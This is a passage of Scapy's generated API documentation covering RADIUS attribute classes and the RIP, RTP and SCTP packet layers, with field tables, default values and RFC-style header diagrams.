|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_WLAN_Venue_Info                  


RadiusAttr_WLAN_Venue_Info fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 182

	








	
class scapy.layers.radius.RadiusAttribute(_pkt, /, *, type=1, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L223-L269]

	Bases: Packet

Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute
class should inherit from this one.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L250-L259]

	Returns the right RadiusAttribute class for the given data.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RadiusAttribute                       


RadiusAttribute fields






	type

	ByteEnumField

	1



	len

	FieldLenField

	None



	value

	StrLenField

	b''











	
guess_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L268-L269]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L261-L266]

	




	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L239-L248]

	Registers the RADIUS attributes defined in this module.






	
registered_attributes = {1: <class 'scapy.layers.radius.RadiusAttr_User_Name'>, 12: <class 'scapy.layers.radius.RadiusAttr_Framed_MTU'>, 136: <class 'scapy.layers.radius.RadiusAttr_Management_Privilege_Level'>, 14: <class 'scapy.layers.radius.RadiusAttr_Login_IP_Host'>, 149: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Home_LMA_IPv4_Address'>, 150: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Visited_LMA_IPv4_Address'>, 157: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Home_DHCP4_Server_Address'>, 158: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Visited_DHCP4_Server_Address'>, 16: <class 'scapy.layers.radius.RadiusAttr_Login_TCP_Port'>, 161: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Home_IPv4_Gateway'>, 162: <class 'scapy.layers.radius.RadiusAttr_PMIP6_Visited_IPv4_Gateway'>, 177: <class 'scapy.layers.radius.RadiusAttr_Mobility_Domain_Id'>, 178: <class 'scapy.layers.radius.RadiusAttr_Preauth_Timeout'>, 182: <class 'scapy.layers.radius.RadiusAttr_WLAN_Venue_Info'>, 185: <class 'scapy.layers.radius.RadiusAttr_WLAN_Reason_Code'>, 186: <class 'scapy.layers.radius.RadiusAttr_WLAN_Pairwise_Cipher'>, 187: <class 'scapy.layers.radius.RadiusAttr_WLAN_Group_Cipher'>, 188: <class 'scapy.layers.radius.RadiusAttr_WLAN_AKM_Suite'>, 189: <class 'scapy.layers.radius.RadiusAttr_WLAN_Group_Mgmt_Cipher'>, 190: <class 'scapy.layers.radius.RadiusAttr_WLAN_RF_Band'>, 2: <class 'scapy.layers.radius.RadiusAttr_User_Password'>, 23: <class 'scapy.layers.radius.RadiusAttr_Framed_IPX_Network'>, 24: <class 'scapy.layers.radius.RadiusAttr_State'>, 26: <class 'scapy.layers.radius.RadiusAttr_Vendor_Specific'>, 27: <class 'scapy.layers.radius.RadiusAttr_Session_Timeout'>, 28: <class 'scapy.layers.radius.RadiusAttr_Idle_Timeout'>, 37: <class 'scapy.layers.radius.RadiusAttr_Framed_AppleTalk_Link'>, 38: <class 'scapy.layers.radius.RadiusAttr_Framed_AppleTalk_Network'>, 4: <class 'scapy.layers.radius.RadiusAttr_NAS_IP_Address'>, 40: <class 'scapy.layers.radius.RadiusAttr_Acct_Status_Type'>, 41: <class 'scapy.layers.radius.RadiusAttr_Acct_Delay_Time'>, 42: <class 'scapy.layers.radius.RadiusAttr_Acct_Input_Octets'>, 43: <class 'scapy.layers.radius.RadiusAttr_Acct_Output_Octets'>, 45: <class 'scapy.layers.radius.RadiusAttr_Acct_Authentic'>, 46: <class 'scapy.layers.radius.RadiusAttr_Acct_Session_Time'>, 47: <class 'scapy.layers.radius.RadiusAttr_Acct_Input_Packets'>, 48: <class 'scapy.layers.radius.RadiusAttr_Acct_Output_Packets'>, 49: <class 'scapy.layers.radius.RadiusAttr_Acct_Terminate_Cause'>, 5: <class 'scapy.layers.radius.RadiusAttr_NAS_Port'>, 51: <class 'scapy.layers.radius.RadiusAttr_Acct_Link_Count'>, 52: <class 'scapy.layers.radius.RadiusAttr_Acct_Input_Gigawords'>, 53: <class 'scapy.layers.radius.RadiusAttr_Acct_Output_Gigawords'>, 56: <class 'scapy.layers.radius.RadiusAttr_Egress_VLANID'>, 6: <class 'scapy.layers.radius.RadiusAttr_Service_Type'>, 61: <class 'scapy.layers.radius.RadiusAttr_NAS_Port_Type'>, 62: <class 'scapy.layers.radius.RadiusAttr_Port_Limit'>, 7: <class 'scapy.layers.radius.RadiusAttr_Framed_Protocol'>, 73: <class 'scapy.layers.radius.RadiusAttr_ARAP_Security'>, 75: <class 'scapy.layers.radius.RadiusAttr_Password_Retry'>, 79: <class 'scapy.layers.radius.RadiusAttr_EAP_Message'>, 8: <class 'scapy.layers.radius.RadiusAttr_Framed_IP_Address'>, 80: <class 'scapy.layers.radius.RadiusAttr_Message_Authenticator'>, 83: <class 'scapy.layers.radius.RadiusAttr_Tunnel_Preference'>, 85: <class 'scapy.layers.radius.RadiusAttr_Acct_Interim_Interval'>, 86: <class 'scapy.layers.radius.RadiusAttr_Acct_Tunnel_Packets_Lost'>, 9: <class 'scapy.layers.radius.RadiusAttr_Framed_IP_Netmask'>, <member 'val' of '_RadiusAttrHexStringVal' objects>: <class 'scapy.layers.radius._RadiusAttrHexStringVal'>, <member 'val' of '_RadiusAttrIPv4AddrVal' objects>: <class 'scapy.layers.radius._RadiusAttrIPv4AddrVal'>, <member 'val' of '_RadiusAttrIntEnumVal' objects>: <class 'scapy.layers.radius._RadiusAttrIntEnumVal'>, <member 'val' of '_SpecificRadiusAttr' objects>: <class 'scapy.layers.radius._RadiusAttrIntValue'>}

	








	
scapy.layers.radius.prepare_packed_data(radius_packet, packed_req_authenticator)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L535-L548]

	Pack RADIUS data prior computing the authentication MAC








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.rip

RIP (Routing Information Protocol).


	
class scapy.layers.rip.RIP(_pkt, /, *, cmd=1, version=1, null=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rip.py#L17-L31]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CMD      |    VERSION    |              NULL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. RIP                             


RIP fields






	cmd

	ByteEnumField

	1



	version

	ByteField

	1



	null

	ShortField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rip.py#L27-L31]

	




	
payload_guess

	Possible sublayers:
RIPEntry










	
class scapy.layers.rip.RIPAuth(_pkt, /, *, AF=65535, authtype=2, password=None, digestoffset=0, keyid=0, authdatalen=0, seqnum=0, zeropad=None, authdata=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rip.py#L46-L72]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AF              |            AUTHTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSWORD                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DIGESTOFFSET         |     KEYID     |  AUTHDATALEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ZEROPAD                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AUTHDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. RIPAuth                           


RIPAuth fields






	AF

	ShortEnumField

	65535



	authtype

	ShortEnumField

	2



	password

	StrFixedLenField (Cond)

	None



	digestoffset

	ShortField (Cond)

	0



	keyid

	ByteField (Cond)

	0



	authdatalen

	ByteField (Cond)

	0



	seqnum

	IntField (Cond)

	0



	zeropad

	StrFixedLenField (Cond)

	None



	authdata

	StrLenField (Cond)

	None











	
payload_guess

	Possible sublayers:
RIPEntry






	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rip.py#L68-L72]

	








	
class scapy.layers.rip.RIPEntry(_pkt, /, *, AF=2, RouteTag=0, addr='0.0.0.0', mask='0.0.0.0', nextHop='0.0.0.0', metric=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rip.py#L34-L43]

	Bases: RIP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AF              |            ROUTETAG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             METRIC                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RIPEntry                           


RIPEntry fields






	AF

	ShortEnumField

	2



	RouteTag

	ShortField

	0



	addr

	IPField

	'0.0.0.0'



	mask

	IPField

	'0.0.0.0'



	nextHop

	IPField

	'0.0.0.0'



	metric

	IntEnumField

	1











	
payload_guess

	Possible sublayers:
RIPEntry












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.rtp

RTP (Real-time Transport Protocol).

Remember to use:

bind_layers(UDP, RTP, dport=XXX)





To register the port you are using


	
class scapy.layers.rtp.RTP(_pkt, /, *, version=2, padding=0, extension=0, numsync=None, marker=0, payload_type=0, sequence=0, timestamp=0, sourcesync=0, sync=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rtp.py#L43-L54]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VER|P|E|NUMSYNC|M| PAYLOAD TYPE|            SEQUENCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SOURCESYNC                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SYNC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. RTP                             


RTP fields






	version

	BitField  (2 bits)

	2



	padding

	BitField  (1 bit)

	0



	extension

	BitField  (1 bit)

	0



	numsync

	BitFieldLenField  (4 bits)

	None



	marker

	BitField  (1 bit)

	0



	payload_type

	BitEnumField

	0



	sequence

	ShortField

	0



	timestamp

	IntField

	0



	sourcesync

	IntField

	0



	sync

	FieldListField

	[]











	
payload_guess

	Possible sublayers:
RTPExtension










	
class scapy.layers.rtp.RTPExtension(_pkt, /, *, header_id=0, header_len=None, header=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/rtp.py#L36-L40]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           HEADER ID           |           HEADER LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HEADER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTPExtension                         


RTPExtension fields






	header_id

	ShortField

	0



	header_len

	FieldLenField

	None



	header

	FieldListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.sctp

SCTP (Stream Control Transmission Protocol).


	
class scapy.layers.sctp.ChunkParamField(name, default, count_from=None, length_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L320-L329]

	Bases: PacketListField


	
m2i(p, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L324-L329]

	








	
class scapy.layers.sctp.GapAckField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L719-L736]

	Bases: Field


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L733-L736]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L723-L728]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L730-L731]

	








	
class scapy.layers.sctp.SCTP(_pkt, /, *, sport=0, dport=0, tag=0, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L267-L287]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L273-L280]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TAG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CHKSUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. SCTP                             


SCTP fields






	sport

	ShortEnumField

	0



	dport

	ShortEnumField

	0



	tag

	XIntField

	0



	chksum

	XIntField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L282-L287]

	








	
class scapy.layers.sctp.SCTPChunkAbort(_pkt, /, *, type=6, reserved=None, TCB=0, len=None, error_causes=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L769-L776]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |   RESERVED  |T|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ERROR CAUSES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SCTPChunkAbort                        


SCTPChunkAbort fields






	type

	ByteEnumField

	6



	reserved

	BitField  (7 bits)

	None



	TCB

	BitField  (1 bit)

	0



	len

	FieldLenField

	None



	error_causes

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkAddressConf(_pkt, /, *, type=193, flags=None, len=None, seq=0, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L839-L846]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkAddressConf                     


SCTPChunkAddressConf fields






	type

	ByteEnumField

	193



	flags

	XByteField

	None



	len

	FieldLenField

	None



	seq

	IntField

	0



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkAddressConfAck(_pkt, /, *, type=128, flags=None, len=None, seq=0, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L869-L870]

	Bases: SCTPChunkAddressConf


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkAddressConfAck                   


SCTPChunkAddressConfAck fields






	type

	ByteEnumField

	128



	flags

	XByteField

	None



	len

	FieldLenField

	None



	seq

	IntField

	0



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkAuthentication(_pkt, /, *, type=15, flags=None, len=None, shared_key_id=None, HMAC_function=None, HMAC=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L827-L836]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SHARED KEY ID         |         HMAC FUNCTION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              HMAC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkAuthentication                   


SCTPChunkAuthentication fields






	type

	ByteEnumField

	15



	flags

	XByteField

	None



	len

	FieldLenField

	None



	shared_key_id

	ShortField

	None



	HMAC_function

	ShortField

	None



	HMAC

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkCookieAck(_pkt, /, *, type=11, flags=None, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L812-L816]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SCTPChunkCookieAck                      


SCTPChunkCookieAck fields






	type

	ByteEnumField

	11



	flags

	XByteField

	None



	len

	ShortField

	4















	
class scapy.layers.sctp.SCTPChunkCookieEcho(_pkt, /, *, type=10, flags=None, len=None, cookie=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L803-L809]

	Bases: SCTPChunkError


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SCTPChunkCookieEcho                     


SCTPChunkCookieEcho fields






	type

	ByteEnumField

	10



	flags

	XByteField

	None



	len

	FieldLenField

	None



	cookie

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkData(_pkt, /, *, type=0, reserved=None, delay_sack=0, unordered=0, beginning=0, ending=0, len=None, tsn=None, stream_id=None, stream_seq=None, proto_id=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L627-L642]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |RESERVE|D|U|B|E|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TSN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STREAM ID           |           STREAM SEQ          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PROTO ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SCTPChunkData                        


SCTPChunkData fields






	type

	ByteEnumField

	0



	reserved

	BitField  (4 bits)

	None



	delay_sack

	BitField  (1 bit)

	0



	unordered

	BitField  (1 bit)

	0



	beginning

	BitField  (1 bit)

	0



	ending

	BitField  (1 bit)

	0



	len

	FieldLenField

	None



	tsn

	XIntField

	None



	stream_id

	XShortField

	None



	stream_seq

	XShortField

	None



	proto_id

	IntEnumField

	None



	data

	PadField

	None











	
payload_guess

	Possible sublayers:
DiamG










	
class scapy.layers.sctp.SCTPChunkError(_pkt, /, *, type=9, flags=None, len=None, error_causes=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L794-L800]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ERROR CAUSES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SCTPChunkError                        


SCTPChunkError fields






	type

	ByteEnumField

	9



	flags

	XByteField

	None



	len

	FieldLenField

	None



	error_causes

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkForwardTSN(_pkt, /, *, type=192, flags=None, len=None, new_tsn=None, skips=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L679-L687]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEW TSN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SKIPS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SCTPChunkForwardTSN                     


SCTPChunkForwardTSN fields






	type

	ByteEnumField

	192



	flags

	XByteField

	None



	len

	FieldLenField

	None



	new_tsn

	IntField

	None



	skips

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkHeartbeatAck(_pkt, /, *, type=5, flags=None, len=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L765-L766]

	Bases: SCTPChunkHeartbeatReq


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkHeartbeatAck                    


SCTPChunkHeartbeatAck fields






	type

	ByteEnumField

	5



	flags

	XByteField

	None



	len

	FieldLenField

	None



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkHeartbeatReq(_pkt, /, *, type=4, flags=None, len=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L757-L762]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
